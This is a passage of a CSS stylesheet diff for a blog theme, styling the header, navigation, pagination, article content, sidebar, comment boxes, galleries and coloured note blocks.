100%, 0); + transform: translate3d(0, 100%, 0); +} +#page-header.nav-visible + .layout > .aside-content > .sticky_layout { + top: 70px; + -webkit-transition: top 0.5s; + -moz-transition: top 0.5s; + -o-transition: top 0.5s; + -ms-transition: top 0.5s; + transition: top 0.5s; +} +#page h1.page-title { + margin: 8px 0 20px; +} +#post > #post-info { + margin-bottom: 30px; +} +#post > #post-info .post-title { + padding-bottom: 4px; + border-bottom: 1px solid var(--light-grey); + color: var(--text-highlight-color); +} +#post > #post-info .post-title .post-edit-link { + float: right; +} +#post > #post-info #post-meta, +#post > #post-info #post-meta a { + color: #78818a; +} +#post-info .post-title { + margin-bottom: 8px; + color: var(--white); + font-weight: normal; + font-size: 2.5em; + line-height: 1.5; + -webkit-line-clamp: 3; +} +@media screen and (max-width: 768px) { + #post-info .post-title { + font-size: 2.1em; + } +} +#post-info .post-title .post-edit-link { + padding-left: 10px; +} +#post-info #post-meta { + color: var(--light-grey); + font-size: 95%; +} +@media screen and (min-width: 768px) { + #post-info #post-meta > .meta-secondline > span:first-child { + display: none; + } +} +@media screen and (max-width: 768px) { + #post-info #post-meta { + font-size: 90%; + } + #post-info #post-meta > .meta-firstline, + #post-info #post-meta > .meta-secondline { + display: inline; + } +} +#post-info #post-meta .post-meta-separator { + margin: 0 5px; +} +#post-info #post-meta .post-meta-icon { + margin-right: 4px; +} +#post-info #post-meta .post-meta-label { + margin-right: 4px; +} +#post-info #post-meta a { + color: var(--light-grey); + -webkit-transition: all 0.3s ease-out; + -moz-transition: all 0.3s ease-out; + -o-transition: all 0.3s ease-out; + -ms-transition: all 0.3s ease-out; + transition: all 0.3s ease-out; +} +#post-info #post-meta a:hover { + color: #8e8cd8; + text-decoration: underline; +} +#nav { + position: absolute; + top: 0; + z-index: 90; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 0 36px; + width: 100%; + height: 60px; + font-size: 1.3em; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +@media screen and (max-width: 768px) { + #nav { + padding: 0 16px; + } +} +#nav.show { + opacity: 1; + -ms-filter: none; + filter: none; +} +#nav #blog_name { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; +} +#nav #toggle-menu { + display: none; + padding: 2px 0 0 6px; + vertical-align: top; +} +#nav #toggle-menu:hover { + color: var(--white); +} +#nav a { + color: var(--light-grey); +} +#nav a:hover { + color: var(--white); +} +#nav #site-name { + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + font-weight: bold; + cursor: pointer; +} +#nav .menus_items { + display: inline; +} +#nav .menus_items .menus_item { + position: relative; + display: inline-block; + padding: 0 0 0 14px; +} +#nav .menus_items .menus_item:hover .menus_item_child { + display: block; +} +#nav .menus_items .menus_item:hover > a > i:last-child { + -webkit-transform: rotate(180deg); + -moz-transform: rotate(180deg); + -o-transform: rotate(180deg); + -ms-transform: rotate(180deg); + transform: rotate(180deg); +} +#nav .menus_items .menus_item > a > i:last-child { + padding: 4px; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#nav .menus_items .menus_item .menus_item_child { + position: absolute; + right: 0; + display: none; + margin-top: 8px; + padding: 0; + width: max-content; + border-radius: 5px; + background-color: var(--sidebar-bg); + -webkit-box-shadow: 0 5px 20px -4px rgba(0,0,0,0.5); + box-shadow: 0 5px 20px -4px rgba(0,0,0,0.5); + -webkit-animation: sub_menus 0.3s 0.1s ease both; + -moz-animation: sub_menus 0.3s 0.1s ease both; + -o-animation: sub_menus 0.3s 0.1s ease both; + -ms-animation: sub_menus 0.3s 0.1s ease both; + animation: sub_menus 0.3s 0.1s ease both; +} +#nav .menus_items .menus_item .menus_item_child:before { + position: absolute; + top: -8px; + left: 0; + width: 100%; + height: 20px; + content: ''; +} +#nav .menus_items .menus_item .menus_item_child li { + list-style: none; +} +#nav .menus_items .menus_item .menus_item_child li:hover { + background: var(--text-bg-hover); +} +#nav .menus_items .menus_item .menus_item_child li:first-child { + border-top-left-radius: 5px; + border-top-right-radius: 5px; +} +#nav .menus_items .menus_item .menus_item_child li:last-child { + border-bottom-right-radius: 5px; + border-bottom-left-radius: 5px; +} +#nav .menus_items .menus_item .menus_item_child li a { + display: inline-block; + padding: 8px 16px; + width: 100%; + color: var(--font-color) !important; + text-shadow: none !important; +} +#nav.hide-menu #toggle-menu { + display: inline-block !important; +} +#nav.hide-menu #toggle-menu .site-page { + font-size: inherit; +} +#nav.hide-menu .menus_items { + display: none; +} +#nav.hide-menu #search-button span { + display: none; +} +#nav #search-button { + display: inline; + padding: 0 0 0 14px; +} +#nav .site-page { + position: relative; + padding-bottom: 6px; + text-shadow: 1px 1px 2px rgba(0,0,0,0.3); + font-size: 0.78em; + cursor: pointer; +} +#nav .site-page:not(.child):after { + position: absolute; + bottom: 0; + left: 0; + z-index: -1; + width: 0; + height: 3px; + background-color: #b0aee4; + content: ''; + -webkit-transition: all 0.3s ease-in-out; + -moz-transition: all 0.3s ease-in-out; + -o-transition: all 0.3s ease-in-out; + -ms-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} +#nav .site-page:not(.child):hover:after { + width: 100%; +} +#pagination .pagination { + margin-top: 20px; + text-align: center; +} +#pagination .page-number.current { + background: #8e8cd8; + color: var(--white); +} +#pagination .pagination-info { + position: absolute; + top: 50%; + padding: 20px 40px; + width: 100%; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +#pagination .prev_info, +#pagination .next_info { + color: var(--white); + font-weight: 500; +} +#pagination .next-post .pagination-info { + text-align: right; +} +#pagination .pull-full { + width: 100% !important; +} +#pagination .prev-post .label, +#pagination .next-post .label { + color: var(--light-grey); + text-transform: uppercase; + font-size: 90%; +} +#pagination .prev-post, +#pagination .next-post { + width: 50%; +} +@media screen and (max-width: 768px) { + #pagination .prev-post, + #pagination .next-post { + width: 100%; + } +} +#pagination .prev-post a, +#pagination .next-post a { + position: relative; + display: block; + overflow: hidden; + height: 150px; +} +#pagination.pagination-post { + overflow: hidden; + margin-top: 40px; + width: 100%; + background: #000; +} +.layout > .recent-posts .pagination > * { + display: inline-block; + margin: 0 6px; + width: 2.5em; + height: 2.5em; + line-height: 2.5em; +} +.layout > .recent-posts .pagination > *:not(.space):hover { + background: var(--btn-hover-color); + color: var(--btn-color); +} +.layout > div:not(.recent-posts) .pagination .page-number { + display: inline-block; + margin: 0 4px; + min-width: 24px; + height: 24px; + text-align: center; + line-height: 24px; + cursor: pointer; +} +#article-container { + word-wrap: break-word; + overflow-wrap: break-word; +} +#article-container a { + color: #99a9bf; +} +#article-container a:hover { + text-decoration: underline; +} +#article-container img { + display: block; + margin: 0 auto 20px; + max-width: 100%; + -webkit-transition: filter 375ms ease-in 0.2s; + -moz-transition: filter 375ms ease-in 0.2s; + -o-transition: filter 375ms ease-in 0.2s; + -ms-transition: filter 375ms ease-in 0.2s; + transition: filter 375ms ease-in 0.2s; +} +#article-container p { + margin: 0 0 16px; +} +#article-container iframe { + margin: 0 0 20px; +} +#article-container kbd { + margin: 0 3px; + padding: 3px 5px; + border: 1px solid #b4b4b4; + border-radius: 3px; + background-color: #f8f8f8; + -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.25), 0 2px 1px 0 rgba(255,255,255,0.6) inset; + box-shadow: 0 1px 3px rgba(0,0,0,0.25), 0 2px 1px 0 rgba(255,255,255,0.6) inset; + color: #34495e; + white-space: nowrap; + font-weight: 600; + font-size: 0.9em; + font-family: Monaco, 'Ubuntu Mono', monospace; + line-height: 1em; +} +#article-container ol ol, +#article-container ul ol, +#article-container ol ul, +#article-container ul ul { + padding-left: 20px; +} +#article-container ol li, +#article-container ul li { + margin: 4px 0; +} +#article-container ol p, +#article-container ul p { + margin: 0 0 8px; +} +#article-container > :last-child { + margin-bottom: 0 !important; +} +#post .tag_share:after { + display: block; + clear: both; + content: ''; +} +#post .tag_share .post-meta__tag-list { + display: inline-block; +} +#post .tag_share .post-meta__tags { + display: inline-block; + margin: 8px 8px 8px 0; + padding: 0 12px; + width: fit-content; + border: 1px solid #8e8cd8; + border-radius: 12px; + color: #8e8cd8; + font-size: 0.85em; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#post .tag_share .post-meta__tags:hover { + background: #8e8cd8; + color: var(--white); +} +#post .tag_share .post_share { + display: inline-block; + float: right; + margin: 8px 0 0; + width: fit-content; +} +#post .tag_share .post_share .social-share { + font-size: 0.85em; +} +#post .tag_share .post_share .social-share .social-share-icon { + margin: 0 4px; + width: 1.85em; + height: 1.85em; + font-size: 1.2em; + line-height: 1.85em; +} +#post .post-copyright { + position: relative; + margin: 40px 0 10px; + padding: 10px 16px; + border: 1px solid var(--light-grey); + -webkit-transition: box-shadow 0.3s ease-in-out; + -moz-transition: box-shadow 0.3s ease-in-out; + -o-transition: box-shadow 0.3s ease-in-out; + -ms-transition: box-shadow 0.3s ease-in-out; + transition: box-shadow 0.3s ease-in-out; +} +#post .post-copyright:before { + position: absolute; + top: 2px; + right: 12px; + color: #8e8cd8; + content: '\f1f9'; + font-size: 1.3em; +} +#post .post-copyright:hover { + -webkit-box-shadow: 0 0 8px 0 rgba(232,237,250,0.6), 0 2px 4px 0 rgba(232,237,250,0.5); + box-shadow: 0 0 8px 0 rgba(232,237,250,0.6), 0 2px 4px 0 rgba(232,237,250,0.5); +} +#post .post-copyright .post-copyright-meta { + color: #8e8cd8; + font-weight: bold; +} +#post .post-copyright .post-copyright-info { + padding-left: 6px; +} +#post .post-copyright .post-copyright-info a { + text-decoration: underline; + word-break: break-word; +} +#post .post-copyright .post-copyright-info a:hover { + text-decoration: none; +} +#post .post-outdate-notice { + position: relative; + margin: 0 0 20px; + padding: 0.5em 1.2em; + border-radius: 3px; + background-color: #ffe6e6; + color: #f66; + padding: 0.5em 1em 0.5em 2.6em; + border-left: 5px solid #ff8080; +} +#post .post-outdate-notice:before { + position: absolute; + top: 50%; + left: 0.9em; + color: #ff8080; + content: '\f071'; + -webkit-transform: translateY(-50%); + -moz-transform: translateY(-50%); + -o-transform: translateY(-50%); + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} +#post .ads-wrap { + margin: 40px 0; +} +.relatedPosts { + margin-top: 40px; +} +.relatedPosts > .headline { + margin-bottom: 5px; + font-weight: 700; + font-size: 1.43em; +} +.relatedPosts > .relatedPosts-list > div { + position: relative; + display: inline-block; + overflow: hidden; + margin: 3px; + width: calc(33.333% - 6px); + height: 200px; + background: #000; + vertical-align: bottom; +} +@media screen and (max-width: 768px) { + .relatedPosts > .relatedPosts-list > div { + margin: 2px; + width: calc(50% - 4px); + height: 150px; + } +} +@media screen and (max-width: 600px) { + .relatedPosts > .relatedPosts-list > div { + width: calc(100% - 4px); + } +} +.relatedPosts > .relatedPosts-list .content { + position: absolute; + top: 50%; + padding: 0 20px; + width: 100%; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +.relatedPosts > .relatedPosts-list .content .date { + color: var(--light-grey); + font-size: 90%; +} +.relatedPosts > .relatedPosts-list .content .title { + color: var(--white); + -webkit-line-clamp: 2; +} +.post-reward { + position: relative; + margin-top: 80px; + width: 100%; + text-align: center; + pointer-events: none; +} +.post-reward > * { + pointer-events: auto; +} +.post-reward .reward-button { + display: inline-block; + padding: 4px 24px; + background: var(--btn-bg); + color: var(--btn-color); + cursor: pointer; +} +.post-reward:hover .reward-button { + background: var(--btn-hover-color); +} +.post-reward:hover > .reward-main { + display: block; +} +.post-reward .reward-main { + position: absolute; + bottom: 40px; + left: 0; + z-index: 100; + display: none; + padding: 0 0 15px; + width: 100%; +} +.post-reward .reward-main .reward-all { + display: inline-block; + margin: 0; + padding: 20px 10px; + border-radius: 4px; + background: var(--reward-pop); +} +.post-reward .reward-main .reward-all:before { + position: absolute; + bottom: -10px; + left: 0; + width: 100%; + height: 20px; + content: ''; +} +.post-reward .reward-main .reward-all:after { + position: absolute; + right: 0; + bottom: 2px; + left: 0; + margin: 0 auto; + width: 0; + height: 0; + border-top: 13px solid var(--reward-pop); + border-right: 13px solid transparent; + border-left: 13px solid transparent; + content: ''; +} +.post-reward .reward-main .reward-all .reward-item { + display: inline-block; + padding: 0 8px; + list-style-type: none; + vertical-align: top; +} +.post-reward .reward-main .reward-all .reward-item img { + width: 130px; + height: 130px; +} +.post-reward .reward-main .reward-all .reward-item .post-qr-code-desc { + width: 130px; + color: #858585; +} +#rightside { + position: fixed; + right: -48px; + bottom: 40px; + z-index: 100; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#rightside #rightside-config-hide { + height: 0; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: -webkit-transform 0.4s; + -moz-transition: -moz-transform 0.4s; + -o-transition: -o-transform 0.4s; + -ms-transition: -ms-transform 0.4s; + transition: transform 0.4s; + -webkit-transform: translate(45px, 0); + -moz-transform: translate(45px, 0); + -o-transform: translate(45px, 0); + -ms-transform: translate(45px, 0); + transform: translate(45px, 0); +} +#rightside #rightside-config-hide.show { + height: auto; + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); +} +#rightside #rightside-config-hide.status { + height: auto; + opacity: 1; + -ms-filter: none; + filter: none; +} +#rightside > div > button, +#rightside > div > a { + display: block; + margin-bottom: 5px; + width: 35px; + height: 35px; + border-radius: 5px; + background-color: var(--btn-bg); + color: var(--btn-color); + text-align: center; + font-size: 16px; + line-height: 35px; +} +#rightside > div > button:hover, +#rightside > div > a:hover { + background-color: var(--btn-hover-color); +} +#rightside #mobile-toc-button { + display: none; +} +@media screen and (max-width: 900px) { + #rightside #mobile-toc-button { + display: block; + } +} +@media screen and (max-width: 900px) { + #rightside #hide-aside-btn { + display: none; + } +} +#sidebar #menu-mask { + position: fixed; + z-index: 102; + display: none; + width: 100%; + height: 100%; + background: rgba(0,0,0,0.8); +} +#sidebar #sidebar-menus { + position: fixed; + top: 0; + right: -300px; + z-index: 103; + overflow-x: hidden; + overflow-y: auto; + width: 300px; + height: 100%; + background: var(--sidebar-bg); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#sidebar #sidebar-menus.open { + -webkit-transform: translate3d(-100%, 0, 0); + -moz-transform: translate3d(-100%, 0, 0); + -o-transform: translate3d(-100%, 0, 0); + -ms-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +#sidebar #sidebar-menus > .avatar-img { + margin: 20px auto; +} +#sidebar #sidebar-menus .sidebar-site-data { + padding: 0 10px; +} +#sidebar #sidebar-menus hr { + margin: 20px auto; +} +#sidebar #sidebar-menus .menus_items { + padding: 0 10px 40px; +} +#sidebar #sidebar-menus .menus_items .site-page { + position: relative; + display: block; + padding: 6px 30px 6px 22px; + color: var(--font-color); + font-size: 1.15em; +} +#sidebar #sidebar-menus .menus_items .site-page:hover { + background: var(--text-bg-hover); +} +#sidebar #sidebar-menus .menus_items .site-page i:first-child { + width: 15%; + text-align: left; +} +#sidebar #sidebar-menus .menus_items .site-page.group > i:last-child { + position: absolute; + top: 0.78em; + right: 18px; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#sidebar #sidebar-menus .menus_items .site-page.group.hide > i:last-child { + -webkit-transform: rotate(90deg); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); +} +#sidebar #sidebar-menus .menus_items .site-page.group.hide + .menus_item_child { + display: none; +} +#sidebar #sidebar-menus .menus_items .menus_item_child { + margin: 0; + list-style: none; +} +#vcomment { + font-size: 1.1em; +} +#vcomment .vbtn { + border: none; + background: var(--btn-bg); + color: var(--btn-color); +} +#vcomment .vbtn:hover { + background: var(--btn-hover-color); +} +#vcomment .vimg { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +#vcomment .vimg:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); +} +#vcomment .vcards .vcard .vcontent.expand:before, +#vcomment .vcards .vcard .vcontent.expand:after { + z-index: 22; +} +#waline-wrap { + --waline-font-size: 1.1em; + --waline-theme-color: #8e8cd8; + --waline-active-color: #f85536; +} +#waline-wrap .wl-comment-actions > button:not(last-child) { + padding-right: 4px; +} +#vcomment textarea { + background: url("https://cdn.bili33.top/gh/Vikutorika/assets@master/img/Settings/Valine-BG.jpg") 100% 100% no-repeat; +} +#vcomment textarea:focus { + background-image: none; +} +#waline-wrap textarea { + background: url("https://cdn.bili33.top/gh/Vikutorika/assets@master/img/Settings/Valine-BG.jpg") 100% 100% no-repeat; +} +#waline-wrap textarea:focus { + background-image: none; +} +.fireworks { + position: fixed; + top: 0; + left: 0; + z-index: 9999; + pointer-events: none; +} +.medium-zoom-image--opened { + z-index: 99999 !important; + margin: 0 !important; +} +.medium-zoom-overlay { + z-index: 99999 !important; +} +.mermaid-wrap { + margin: 0 0 20px; + text-align: center; +} +.mermaid-wrap > svg { + height: 100%; +} +.utterances, +.fb-comments iframe { + width: 100% !important; +} +#gitalk-container .gt-meta { + margin: 0 0 0.8em; + padding: 6px 0 16px; +} +.katex-wrap { + overflow: auto; +} +.katex-wrap::-webkit-scrollbar { + display: none; +} +.mathjax-overflow { + overflow-x: auto; + overflow-y: hidden; +} +span.mathjax-overflow { + display: inline-block; + padding: 0 2px; + max-width: 100%; + vertical-align: bottom; +} +.aplayer { + color: #4c4948; +} +#article-container .aplayer { + margin: 0 0 20px; +} +.snackbar-css { + border-radius: 5px !important; +} +#article-container .btn-center { + margin: 0 0 20px; + text-align: center; +} +#article-container .btn-beautify { + display: inline-block; + margin: 0 4px 6px; + padding: 0 15px; + background-color: var(--btn-beautify-color, #777); + color: #fff; + line-height: 2; +} +#article-container .btn-beautify.blue { + --btn-beautify-color: #428bca; +} +#article-container .btn-beautify.pink { + --btn-beautify-color: #ff69b4; +} +#article-container .btn-beautify.red { + --btn-beautify-color: #f00; +} +#article-container .btn-beautify.purple { + --btn-beautify-color: #6f42c1; +} +#article-container .btn-beautify.orange { + --btn-beautify-color: #ff8c00; +} +#article-container .btn-beautify.green { + --btn-beautify-color: #5cb85c; +} +#article-container .btn-beautify:hover { + background-color: var(--btn-hover-color); +} +#article-container .btn-beautify i + span { + margin-left: 6px; +} +#article-container .btn-beautify:not(.block) + .btn-beautify:not(.block) { + margin: 0 4px 20px; +} +#article-container .btn-beautify.block { + display: block; + margin: 0 0 20px; + width: fit-content; + width: -moz-fit-content; +} +#article-container .btn-beautify.block.center { + margin: 0 auto 20px; +} +#article-container .btn-beautify.block.right { + margin: 0 0 20px auto; +} +#article-container .btn-beautify.larger { + padding: 6px 15px; +} +#article-container .btn-beautify:hover { + text-decoration: none; +} +#article-container .btn-beautify.outline { + border: 1px solid transparent; + border-color: var(--btn-beautify-color, #777); + background-color: transparent; + color: var(--btn-beautify-color, #777); +} +#article-container .btn-beautify.outline:hover { + background-color: var(--btn-beautify-color, #777); +} +#article-container .btn-beautify.outline:hover { + color: #fff !important; +} +#article-container figure.gallery-group { + position: relative; + float: left; + overflow: hidden; + margin: 6px 4px; + width: calc(50% - 8px); + height: 250px; + border-radius: 8px; + background: #000; + -webkit-transform: translate3d(0, 0, 0); +} +@media screen and (max-width: 600px) { + #article-container figure.gallery-group { + width: calc(100% - 8px); + } +} +#article-container figure.gallery-group:hover img { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group:hover .gallery-group-name::after { + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group:hover p { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group img { + position: relative; + margin: 0; + max-width: none; + width: calc(100% + 20px); + height: 250px; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -ms-backface-visibility: hidden; + backface-visibility: hidden; + opacity: 0.8; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; + filter: alpha(opacity=80); + -webkit-transition: all 0.3s, filter 375ms ease-in 0.2s; + -moz-transition: all 0.3s, filter 375ms ease-in 0.2s; + -o-transition: all 0.3s, filter 375ms ease-in 0.2s; + -ms-transition: all 0.3s, filter 375ms ease-in 0.2s; + transition: all 0.3s, filter 375ms ease-in 0.2s; + -webkit-transform: translate3d(-10px, 0, 0); + -moz-transform: translate3d(-10px, 0, 0); + -o-transform: translate3d(-10px, 0, 0); + -ms-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0); + object-fit: cover; +} +#article-container figure.gallery-group figcaption { + position: absolute; + top: 0; + left: 0; + padding: 30px; + width: 100%; + height: 100%; + color: #fff; + text-transform: uppercase; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -ms-backface-visibility: hidden; + backface-visibility: hidden; +} +#article-container figure.gallery-group figcaption > a { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1000; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +#article-container figure.gallery-group p { + margin: 0; + padding: 8px 0 0; + letter-spacing: 1px; + font-size: 1.1em; + line-height: 1.5; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; + -moz-transition: opacity 0.35s, -moz-transform 0.35s; + -o-transition: opacity 0.35s, -o-transform 0.35s; + -ms-transition: opacity 0.35s, -ms-transform 0.35s; + transition: opacity 0.35s, transform 0.35s; + -webkit-transform: translate3d(100%, 0, 0); + -moz-transform: translate3d(100%, 0, 0); + -o-transform: translate3d(100%, 0, 0); + -ms-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + -webkit-line-clamp: 4; +} +#article-container figure.gallery-group .gallery-group-name { + position: relative; + margin: 0; + padding: 8px 0; + font-weight: bold; + font-size: 1.65em; + line-height: 1.5; + -webkit-line-clamp: 2; +} +#article-container figure.gallery-group .gallery-group-name:after { + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 2px; + background: #fff; + content: ''; + -webkit-transition: -webkit-transform 0.35s; + -moz-transition: -moz-transform 0.35s; + -o-transition: -o-transform 0.35s; + -ms-transition: -ms-transform 0.35s; + transition: transform 0.35s; + -webkit-transform: translate3d(-100%, 0, 0); + -moz-transform: translate3d(-100%, 0, 0); + -o-transform: translate3d(-100%, 0, 0); + -ms-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +#article-container .gallery-group-main { + overflow: auto; + padding: 0 0 16px; +} +#article-container .fj-gallery { + margin: 0 0 16px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +#article-container .fj-gallery .img-alt { + display: none; +} +blockquote.pullquote { + position: relative; + max-width: 45%; + font-size: 110%; +} +blockquote.pullquote.left { + float: left; + margin: 1em 0.5em 0 0; +} +blockquote.pullquote.right { + float: right; + margin: 1em 0 0 0.5em; +} +.video-container { + position: relative; + overflow: hidden; + margin-bottom: 16px; + padding-top: 56.25%; + height: 0; +} +.video-container iframe { + position: absolute; + top: 0; + left: 0; + margin-top: 0; + width: 100%; + height: 100%; +} +.hide-inline > .hide-button, +.hide-block > .hide-button { + display: inline-block; + padding: 5px 18px; + background: #8e8cd8; + color: var(--white); +} +.hide-inline > .hide-button:hover, +.hide-block > .hide-button:hover { + background-color: var(--btn-hover-color); +} +.hide-inline > .hide-button.open, +.hide-block > .hide-button.open { + display: none; +} +.hide-inline > .hide-button.open + div, +.hide-block > .hide-button.open + div { + display: block; +} +.hide-inline > .hide-button.open + span, +.hide-block > .hide-button.open + span { + display: inline; +} +.hide-inline > .hide-content, +.hide-block > .hide-content { + display: none; +} +.hide-inline > .hide-button { + margin: 0 6px; +} +.hide-inline > .hide-content { + margin: 0 6px; +} +.hide-block { + margin: 0 0 16px; +} +.toggle { + margin-bottom: 20px; + border: 1px solid #f0f0f0; +} +.toggle > .toggle-button { + padding: 6px 15px; + background: #f0f0f0; + color: #1f2d3d; + cursor: pointer; +} +.toggle > .toggle-content { + margin: 30px 24px; +} +#article-container .inline-img { + display: inline; + margin: 0 3px; + height: 1.1em; + vertical-align: text-bottom; +} +.hl-label { + padding: 2px 4px; + border-radius: 3px; + color: #fff; +} +.hl-label.default { + background-color: #777; +} +.hl-label.blue { + background-color: #428bca; +} +.hl-label.pink { + background-color: #ff69b4; +} +.hl-label.red { + background-color: #f00; +} +.hl-label.purple { + background-color: #6f42c1; +} +.hl-label.orange { + background-color: #ff8c00; +} +.hl-label.green { + background-color: #5cb85c; +} +.note { + position: relative; + margin: 0 0 20px; + padding: 15px; + border-radius: 3px; +} +.note.icon-padding { + padding-left: 3em; +} +.note > .note-icon { + position: absolute; + top: calc(50% - 0.5em); + left: 0.8em; + font-size: larger; +} +.note.blue:not(.disabled) { + border-left-color: #428bca !important; +} +.note.blue:not(.disabled).modern { + border-left-color: transparent !important; + color: #428bca; +} +.note.blue:not(.disabled):not(.simple) { + background: #e3eef7 !important; +} +.note.blue > .note-icon { + color: #428bca; +} +.note.pink:not(.disabled) { + border-left-color: #ff69b4 !important; +} +.note.pink:not(.disabled).modern { + border-left-color: transparent !important; + color: #ff69b4; +} +.note.pink:not(.disabled):not(.simple) { + background: #ffe9f4 !important; +} +.note.pink > .note-icon { + color: #ff69b4; +} +.note.red:not(.disabled) { + border-left-color: #f00 !important; +} +.note.red:not(.disabled).modern { + border-left-color: transparent !important; + color: #f00; +} +.note.red:not(.disabled):not(.simple) { + background: #ffd9d9 !important; +} +.note.red > .note-icon { + color: #f00; +} +.note.purple:not(.disabled) { + border-left-color: #6f42c1 !important; +} +.note.purple:not(.disabled).modern { + border-left-color: transparent !important; + color: #6f42c1; +} +.note.purple:not(.disabled):not(.simple) { + background: #e9e3f6 !important; +} +.note.purple > .note-icon { + color: #6f42c1; +} +.note.orange:not(.disabled) { + border-left-color: #ff8c00 !important; +} +.note.orange:not(.disabled).modern { + border-left-color: transparent !important; + color: #ff8c00; +} +.note.orange:not(.disabled):not(.simple) { + background: #ffeed9 !important; +} +.note.orange > .note-icon { + color: #ff8c00; +} +.note.green:not(.disabled) { + border-left-color: #5cb85c !important; +} +.note.green:not(.disabled).modern { + border-left-color: transparent !important; + color: #5cb85c; +} +.note.green:not(.disabled):not(.simple) { + background: #e7f4e7 !important; +} +.note.green > .note-icon { + color: #5cb85c; +} +.note.simple { + border: 1px solid #eee; + border-left-width: 5px; +} +.note.modern { + border: 1px solid transparent !important; + background-color: #f5f5f5; + color: #4c4948; +} +.note.flat { + border: initial; + border-left: 5px solid #eee; + background-color: #f9f9f9; + color: #4c4948; +} +.note h2, +.note h3, +.note h4, +.note h5, +.note h6 { + margin-top: 3px; + margin-bottom: 0; + padding-top: 0 !important; + border-bottom: initial; +} +.note p:first-child, +.note ul:first-child, +.note ol:first-child, +.note table:first-child, +.note pre:first-child, +.note blockquote:first-child, +.note img:first-child { + margin-top: 0 !important; +} +.note p:last-child, +.note ul:last-child, +.note ol:last-child, +.note table:last-child, +.note pre:last-child, +.note blockquote:last-child, +.note img:last-child { + margin-bottom: 0 !important; +} +.note:not(.no-icon) { + padding-left: 3em; +} +.note:not(.no-icon)::before { + position: absolute; + top: calc(50% - 0.95em); + left: 0.8em; + font-size: larger; +} +.note.default.flat { + background: #f7f7f7; +} +.note.default.modern { + border-color: #e1e1e1; + background: #f3f3f3; + color: #666; +} +.note.default.modern 